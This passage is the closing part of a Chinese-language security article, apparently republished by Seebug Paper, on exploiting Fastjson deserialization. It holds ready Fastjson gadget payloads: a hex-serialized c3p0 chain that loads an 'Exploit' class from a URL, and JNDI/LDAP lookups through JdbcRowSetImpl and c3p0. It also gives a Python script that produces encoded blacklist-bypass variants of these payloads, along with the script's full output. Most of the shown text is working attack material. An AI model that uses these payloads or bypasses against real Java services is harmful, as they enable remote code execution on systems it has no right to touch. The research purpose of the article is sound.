    "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
  }
}

payload7:
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://localhost:1389/Object",
    "loginTimeout": 0
  }
}


...還有很多

下面是個小腳本,可以將基礎payload轉出各種繞過的變形態,還增加了\u\x編碼形式:

#!usr/bin/env python  
# -*- coding:utf-8 -*-
""" 
@author: longofo
@file: fastjson_fuzz.py 
@time: 2020/05/07 
"""
import json
from json import JSONDecodeError


class FastJsonPayload:
    def __init__(self, base_payload):
        try:
            json.loads(base_payload)
        except JSONDecodeError as ex:
            raise ex
        self.base_payload = base_payload

    def gen_common(self, payload, func):
        tmp_payload = json.loads(payload)
        dct_objs = [tmp_payload]

        while len(dct_objs) > 0:
            tmp_objs = []
            for dct_obj in dct_objs:
                for key in dct_obj:
                    if key == "@type":
                        dct_obj[key] = func(dct_obj[key])

                    if type(dct_obj[key]) == dict:
                        tmp_objs.append(dct_obj[key])
            dct_objs = tmp_objs
        return json.dumps(tmp_payload)

    # 對@type的value增加L開頭,;結尾的payload
    def gen_payload1(self, payload: str):
        return self.gen_common(payload, lambda v: "L" + v + ";")

    # 對@type的value增加LL開頭,;;結尾的payload
    def gen_payload2(self, payload: str):
        return self.gen_common(payload, lambda v: "LL" + v + ";;")

    # 對@type的value進行\u
    def gen_payload3(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 對@type的value進行\x
    def gen_payload4(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 生成cache繞過payload
    def gen_payload5(self, payload: str):
        cache_payload = {
            "rand1": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }
        }
        cache_payload["rand2"] = json.loads(payload)
        return json.dumps(cache_payload)

    def gen(self):
        payloads = []

        payload1 = self.gen_payload1(self.base_payload)
        yield payload1

        payload2 = self.gen_payload2(self.base_payload)
        yield payload2

        payload3 = self.gen_payload3(self.base_payload)
        yield payload3

        payload4 = self.gen_payload4(self.base_payload)
        yield payload4

        payload5 = self.gen_payload5(self.base_payload)
        yield payload5

        payloads.append(payload1)
        payloads.append(payload2)
        payloads.append(payload5)

        for payload in payloads:
            yield self.gen_payload3(payload)
            yield self.gen_payload4(payload)


if __name__ == '__main__':
    fjp = FastJsonPayload('''{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}''')

    for payload in fjp.gen():
        print(payload)
        print()

例如JdbcRowSetImpl結果:

{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

有些師傅也通過掃描maven倉庫包來尋找符合jackson、fastjson的惡意利用類,似乎大多數都是在尋找jndi類型的漏洞。對于跑黑名單,可以看下這個項目,跑到1.2.62版本了,跑出來了大多數黑名單,不過很多都是包,具體哪個類還得去包中一一尋找。

參考鏈接

  1. http://www.bjnorthway.com/994/#0x03
  2. http://www.bjnorthway.com/1155/
  3. http://www.bjnorthway.com/994/
  4. http://www.bjnorthway.com/292/
  5. http://www.bjnorthway.com/636/
  6. https://www.anquanke.com/post/id/182140#h2-1
  7. https://github.com/LeadroyaL/fastjson-blacklist
  8. http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
  9. http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
  10. http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
  11. http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
  12. https://xz.aliyun.com/t/7027#toc-4
  13. https://zhuanlan.zhihu.com/p/99075925
  14. ...

太多了,感謝師傅們的辛勤記錄。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1192/